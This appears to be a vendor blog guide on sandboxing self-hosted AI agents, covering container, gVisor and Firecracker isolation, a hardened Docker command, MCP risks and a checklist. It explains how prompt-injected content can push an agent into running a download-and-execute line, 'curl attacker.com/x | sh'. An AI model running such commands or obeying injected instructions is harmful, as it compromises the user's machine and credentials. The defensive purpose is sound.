If your AI agent can write and run code, the safest assumption is that one day it will run code you did not intend. The fix is sandboxing: every shell, Python, or tool call goes through an isolated environment that cannot read your home directory, touch your SSH keys, or open arbitrary outbound connections. For a self-hosted agent like OpenClaw, the practical answer in 2026 is a default-deny container per task, with gVisor or Firecracker underneath if you run untrusted code regularly.

This guide is for people running their own agent on a Mac Mini, a home server, a Raspberry Pi, or a small VPS. It does not assume Kubernetes.

Why sandbox at all

Anything an agent reads can be a prompt. A README, a webpage, a PDF, a Slack message, a man page — all of it is input. If the agent has shell access and that input convinces it to run curl attacker.com/x | sh, the blast radius is whatever the agent process can reach.

The 2026 attack pattern is well documented. Researchers at Straiker described “agent hijacking” where prompt injection escalates from input tampering to logic-layer compromise once the agent can call tools. WorkOS classifies unexpected code execution as ASI05 in the OWASP agentic application list. Blackfog has shown that prompt-injected agents exfiltrate orders of magnitude more data than a compromised user account because they already hold the credentials.

Sandboxing does not prevent prompt injection. It limits what a compromised agent can do.

What “sandbox” actually means

Three layers, from cheapest to strongest:

LayerIsolation strengthStartup timeGood for
Plain Docker containerProcess + namespace~200msTrusted code, your own scripts
gVisor (runsc)User-space kernel~300msMixed-trust code, agent-generated scripts
Firecracker / Kata microVMHardware virtualization~1–2sUntrusted code, code from third-party agents

A plain Docker container shares the host kernel. A kernel exploit escapes it. gVisor intercepts syscalls in user space and serves a much smaller attack surface to the workload. Firecracker boots a real Linux kernel inside a VM in under two seconds — strong enough that AWS Lambda uses it.

Most self-hosted setups do not need Firecracker. A default-deny container with no host volumes, no host network, and no credentials inside is enough for ~95% of what a personal agent runs. Reach for gVisor when you start letting the agent execute code from web pages, GitHub issues, or other people’s prompts.

A minimum viable sandbox for a self-hosted agent

The pattern is the same regardless of which runtime you pick:

  1. Ephemeral by default. Each task gets a fresh container, destroyed at the end. State that matters is written to a mounted workspace directory. Nothing else persists.
  2. No host network. The container gets its own network namespace with an explicit allowlist (your model API endpoint, the package registries you actually use). DNS goes through a filter.
  3. No host secrets. The agent process running outside the sandbox holds the API keys. The sandbox holds only what the current task needs, passed in as short-lived environment variables.
  4. Read-only root. The container filesystem is read-only except for /workspace and /tmp. This kills the simple “write a binary, chmod, execute” path.
  5. Resource caps. CPU, memory, disk I/O, and process count are bounded. An agent stuck in a loop should hit a quota wall, not your battery.
  6. One task, one container. Do not let the agent reuse a long-lived shell. Long-lived shells accumulate state that turns into a free escalation primitive when the next prompt is malicious.

A reference Docker invocation that hits most of these:

docker run --rm \
  --read-only \
  --tmpfs /tmp:size=512M \
  --network=agent-sandbox \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --pids-limit=128 \
  --memory=2g --cpus=2 \
  -v "$WORKSPACE":/workspace \
  agent-runtime:latest \
  bash -c "$TASK_COMMAND"

agent-sandbox is a custom Docker network with no internet by default. Add an egress proxy if the task genuinely needs to fetch a package.

Picking a runtime in 2026

Northflank’s 2026 isolation comparison and Firecrawl’s sandbox writeup both land in the same place: pick by how much you trust the code.

  • Docker only: you are running scripts you wrote, on your own machine, for your own benefit. The agent is a user, not an adversary.
  • Docker + gVisor: the agent runs code generated by an LLM from your inputs. Most personal agent setups belong here.
  • Firecracker or Kata: the agent runs code derived from untrusted external content (scraped pages, public issue trackers, third-party MCP tools). Or you are hosting the agent for someone else.

A Reddit operator who tested five sandbox setups for six weeks settled on Firecracker for production runs and Docker for local development. That maps cleanly to “use the strong tool when the input is hostile, use the cheap tool when it isn’t.”

Where MCP fits

The Model Context Protocol is now the default way agents talk to tools. It is also a brand new attack surface. The Hacker News writeup of the April 2026 Anthropic MCP design vulnerability covered RCE across 7,000 servers and 150 million downloads. Qualys documented MCP servers as the new shadow IT. None of this matters less because MCP is convenient.

Two rules:

  1. Treat every MCP server as untrusted code. Run it under the same sandbox as the agent itself. A “helpful” community MCP server is one prompt away from being a tool-poisoning vector.
  2. Scope MCP tool permissions per task. If the agent only needs to read a file, do not also expose shell.exec. The point of capability-style scoping is that a hijacked tool list cannot escalate.

For more on the MCP threat model, see our MCP security crisis writeup.

How OpenClaw approaches this

OpenClaw runs as a self-hosted service on your hardware. The shell and code-execution skills run inside containers by default, with the read-only root and no-host-network pattern above. The deployment guide walks through the Docker setup end-to-end: see the OpenClaw Docker deployment guide.

The trade-off is honest. A default install on a Mac Mini uses Docker, not gVisor. That is fine if you are the only person prompting the agent. If you start letting it act on inbound email, scraped pages, or messages from a public Discord, you should layer gVisor underneath or move the heavy execution path into a Firecracker microVM. The OpenClaw guardrails guide covers the policy side of the same problem: what tools the agent is allowed to call before the sandbox even gets a chance to contain the call.

For the bigger picture on running your agent yourself rather than handing data to a SaaS, see why a self-hosted AI assistant matters and how OpenClaw works.

A practical checklist

Before you let an agent run shell commands on your machine, verify:

  • Code runs inside a container, not on the host.
  • The container has no access to your home directory, SSH keys, or browser profile.
  • The container’s network egress is allowlisted, not open.
  • Each task gets a fresh container; nothing is reused across prompts.
  • Resource limits are set (memory, CPU, PID, disk).
  • Capabilities are dropped by default and added only when justified.
  • Long-running tools (browsers, MCP servers, headless scrapers) are sandboxed too.
  • You log every command the agent runs, with input and exit code.

The last point matters more than people expect. A sandbox that runs untrusted code is doing its job; a sandbox you cannot audit afterward is doing half its job. Ship the logs to a place the agent process cannot rewrite.

What not to do

  • Do not run the agent as root on the host because “it’s just my machine.” A laptop with browser cookies, ssh keys, and a logged-in cloud CLI is a more interesting target than most prod servers.
  • Do not mount /var/run/docker.sock into the agent container. That is a one-line escape.
  • Do not pass long-lived API tokens into the sandbox. Use short-TTL tokens or a broker that the sandbox calls outbound.
  • Do not assume “the agent would never do that.” It does not have to. An attacker only has to convince it once.

Bottom line

For a self-hosted personal agent in 2026, the right baseline is: ephemeral default-deny containers, read-only root, scoped network, no host secrets, resource caps, and one container per task. Add gVisor when the agent starts touching the open internet on your behalf. Reach for Firecracker when the threat model is “someone is actively trying to break into this.” The rest is policy: which tools the agent can call, and what happens when one of those tools is itself compromised.

Sources